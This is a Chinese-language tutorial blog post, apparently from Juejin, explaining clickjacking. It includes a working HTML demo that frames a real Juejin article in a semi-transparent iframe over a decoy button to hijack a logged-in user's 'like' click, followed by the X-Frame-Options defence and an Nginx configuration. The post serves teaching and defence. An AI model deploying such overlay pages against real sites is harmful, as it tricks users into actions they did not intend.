点击劫持攻击

概述

点击劫持攻击(clickjacking)是一种欺诈性攻击方式,攻击者利用透明层让用户在不自知的情况下点击一个隐藏的页面元素。这种攻击可以导致用户无意中批准恶意活动,例如给攻击者的文章点赞或泄露敏感信息。

原理

点击劫持攻击听起来好像很厉害的黑客手段,但是其原理十分简单:

  1. 攻击者首先创建一个含有恶意代码的网页。
  2. 该网页中会包含一个透明的<iframe>元素,这个<iframe>中加载的是目标网站页面。
  3. 攻击者在自己的网页上添加诱饵,例如看起来正常的按钮或链接,它们在位置上与<iframe>中的元素重叠。
  4. 用户在点击诱饵,例如认为自己在进行正常操作时(如"提交"按钮),实际上点击的却是另一个透明<iframe>中的元素,导致攻击者可以捕获点击操作并触发不良动作。

如下图所示,攻击者可能会在灰色按钮上放置一个透明的<iframe>。当用户认为点击的是本网站的按钮时,其实触发了隐藏在<iframe>中的红色按钮。

攻击演示

为了展示点击劫持的效果,我们创建了一个恶意演示页面,并将 iframe 的透明度设置成 0.2。同时假设用户已经登录了掘金,并保持了登录状态,此时任何在恶意网站页面点击按钮操作,都会直接变成了掘金的点赞操作。

代码实现

html 复制代码
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <style>
    html,
    body {
      height: 100%;
      padding: 0;
      margin: 0;
      overflow: hidden;
    }

    .iframe {
      width: 100%;
      height: 100%;
      border: 0;
      padding: 0;
      margin: 0;
      opacity: 0.2;
      z-index: 2;
    }

    .box {
      position: fixed;
      left: 168px;
      top: 140px;
      z-index: 0;
    }

    .box .button {
      width: 50px;
      height: 50px;
      border-radius: 50%;
      border: 2px solid #e2e2e2;
      background: #fff;
      color: #333;
      margin: 0;
      padding: 0;
    }
  </style>
</head>

<body>
  <div class="box">
    <button class="button">🐂</button>
  </div>
  <iframe src="https://juejin.cn/post/7332735079162593315" frameborder="0" class="iframe"></iframe>
</body>

</html>

防御攻击

要抵御点击劫持,最有效的方法是使用X-Frame-Options HTTP头。可以在服务器响应中设置,以阻止或允许页面嵌入<iframe>中。

注意 : 它必须设置在 HTTP header 中才有效,在 HTML 设置 <meta> 标签是不生效的。

例如:<meta http-equiv="X-Frame-Options"...> 是没有作用的。

这个 header 包含 3 种值:

  • DENY: 始终禁止在 frame 中显示此页面,即便是同域名下的页面也不允许嵌套。
  • SAMEORIGIN: 只允许与页面同源的<iframe>中显示页面。
  • ALLOW-FROM url: 允许指定域的<iframe>中显示页面(已废弃,不推荐使用)

Nginx 配置示例

nginx 复制代码
location / {
    # 设置 X-Frame-Options
    add_header X-Frame-Options SAMEORIGIN always; 
    # 其他配置...
}

参考资料

  1. OWASP. (n.d.). Clickjacking. www.owasp.org/index.php/C...
  2. Mozilla Developer Network. (n.d.). X-Frame-Options. developer.mozilla.org/en-US/docs/...
  3. Content Security Policy (CSP) - HTTP | MDN. developer.mozilla.org/en-US/docs/...
相关推荐
魔云连洲7 分钟前
Vue的响应式底层原理:Proxy vs defineProperty
前端·javascript·vue.js
专注VB编程开发20年11 分钟前
CSS定义网格的列模板grid-template-columns什么意思,为什么要用这么复杂的单词
前端·css
IT_陈寒17 分钟前
Redis性能提升50%的7个关键优化策略,90%开发者都不知道第5点!
前端·人工智能·后端
Hilaku24 分钟前
深入URL和URLSearchParams:别再用正则表达式去折磨URL了
前端·javascript·代码规范
pubuzhixing28 分钟前
Canvas 的性能卓越,用它解决一个棘手问题
前端
weixin_4569042729 分钟前
Vue.jsmain.js/request.js/user.js/store/index.js Vuex状态管理项目核心模块深度解析
前端·javascript·vue.js
伍哥的传说33 分钟前
Vue 3.6 Alien Signals:让响应式性能飞跃式提升
前端·javascript·vue.js·vue性能优化·alien-signals·细粒度更新·vue 3.6新特性
永日4567037 分钟前
学习日记-HTML-day51-9.9
前端·学习·html
xhbh66640 分钟前
不止是DELETE:MySQL多表关联删除的JOIN语法实战详解
数据库·mysql·程序员·mysql删除语句
狗头大军之江苏分军1 小时前
iPhone 17 vs iPhone 17 Pro:到底差在哪?买前别被忽悠了
前端